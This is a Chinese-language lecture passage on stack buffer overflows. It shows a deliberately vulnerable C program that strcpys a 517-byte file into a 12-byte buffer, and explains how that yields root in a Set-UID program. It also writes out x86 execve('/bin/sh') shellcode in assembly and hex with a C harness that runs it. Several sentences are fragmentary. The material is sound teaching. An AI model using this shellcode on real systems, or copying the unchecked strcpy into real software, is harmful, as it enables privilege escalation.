这个讲义的“区域”(Area)和“段”(Segment)与多数教程正好相反,译文中已更正。
在 PC 架构中,程序中有四个基本读写段:栈、数据、BSS 和堆。数据、BSS 以及堆区可统称为“数据区域”。在“内存布局和栈”的教程中,Peter Jay Salzman 详细描述了内存布局。
hello world
由char s[] = "hello world"
定义,它在 C 中存在于数据段。static int
,会包含在 BSS 段中。malloc
库管理。堆段由程序中所有共享库以及动态加载模块共享。func
之后,栈的布局。call func
会将call
语句下一条指令的地址压入栈中(返回地址区域),之后跳到func
的代码处。strcpy(buffer, str)
将内存从str
复制到buffer
。str
指向的字符串多于 12 个字符,但是buffer
的大小只为 12。strcpy
不检查buffer
是否到达了边界。它值在看到字符串末尾\0
时停止。str
末尾的字符会覆盖buffer
上面的内存中的内容。现在,让我们来看一个更复杂的程序。不像前面的程序,用于覆盖返回地址的字符串不是静态字符串,它通常由用户提供。换句话说,用户可以决定字符串中包含什么。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int func (char *str) {
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
func (str);
printf("Returned Properly\n");
return 1;
}
我们并不难以看到上面的程序拥有缓冲区溢出问题。这个程序首先从badfile
文件读取输入,之后将输入传递给bof
中另一个缓冲区。原始输入最大为 517 个字节,但是bof
中的缓冲区只有 12 个字节。因为strcpy
不检查边界,会发生缓冲区溢出。如果这个程序是 Set-Root-UID 程序,普通用户就可以利用这个缓冲区溢出漏洞,并得到 Root 权限。
为了完全利用栈缓冲区溢出漏洞,我们需要解决几个挑战性的问题。
使用程序中的缓冲区溢出漏洞,我们可以轻易向运行的程序的内存中注入恶意代码。让我们假设恶意代码已经编写好了(我们会在稍后讨论如何编写恶意代码)。
在上面的漏洞程序中,程序从文件badfile
读取内存,并且将内存复制到buffer
。之后,我们可以简单将恶意代码(二进制形式)储存在badfile
中,漏洞程序会将恶意代码复制到栈上的buffer
(它会溢出buffer
)。
buffer
的地址,因此计算出恶意代码的起始点。buffer
的地址可能和你运行 Set-UID 副本时不同,但已经很接近了。你可以尝试多个值。在前面的讨论中,我们假设恶意代码已经是可用的。这个章节中,我们会讨论如何编写这种恶意代码。
如果我们可以让特权程序执行我们的代码,我们想要它执行什么代码呢?最强大的代码就是调用 Shell,所以我们可以在其中执行任何我们想要执行的代码。目标为加载 Shell 的程序就叫做 Shellcode。为了了解如何编写 Shellcode,让我们来看看下面的 C 程序:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
在我们将上面的程序编译为二进制代码之后,我们可以在缓冲区溢出工集中,直接使用二进制代码作为 Shellcode 嘛?事情并不是那么容易。如果我们直接使用上面的代码,就会有几个问题:
execve
,我们需要知道/bin/sh
的地址。字符串保存在哪里,以及如何获取字符串位置,并不是复杂的问题。strcpy
停止,如果漏洞由strcpy
导致,我们就会有问题。为了解决第一个问题,我们可以将字符串/bin/sh
压入栈中,之后使用栈指针esp
获取字符串位置。为了解决第二个问题,我们可以将包含 0 的指令转换为另一条不包含 0 的指令,例如,为了将 0 储存到寄存器中,我们可以使用 XOR 指令,而不是直接将寄存器赋为 0。下面是个用汇编语言编写的 Shellcode 的例子:
Line 1: xorl %eax,%eax
Line 2: pushl %eax # push 0 into stack (end of string)
Line 3: pushl $0x68732f2f # push "//sh" into stack
Line 4: pushl $0x6e69622f # push "/bin" into stack
Line 5: movl %esp,%ebx # %ebx = name[0]
Line 6: pushl %eax # name[1]
Line 7: pushl %ebx # name[0]
Line 8: movl %esp,%ecx # %ecx = name
Line 9: cdq # %edx = 0
Line 10: movb $0x0b,%al
Line 11: int $0x80 # invoke execve(name[0], name, 0)
Shellcode 中的一些地方需要注意:
/sh
压入到栈中。这是因为我们需要一个 32 位数值,/sh
只有 24 位,幸运的地址,//
等价于/
,所以我们可以使用两个斜杠字符。execve
系统调用之前,我们需要将name[0]
(字符串地址),name
(数组地址),以及NULL
储存到%ebx
、%ecx
以及%edx
寄存器。
name[0]
储存到`%ebx。name
储存到%ecx
。%edx
设为 0。有其他将它设为 0 的办法(例如xorl %edx, %edx
)。这里使用的cdq
是个简单的指令,将 EAX 最高位(第 31 位)复制到 EDX 寄存器的每一位,也就是将%edx
设为 0。execve
系统调用在我们将%al
设为 11 并执行int $0x80
时调用。如果我们将上面的代码转换为二进制,并将其储存在数组中,我们就行可以在 C 程序中调用:
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */ ;
int main(int argc, char **argv) {
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
上面main
函数中的((void(*)( ))buf)( )
语句会调用 Shell,因为执行了 Shellcode。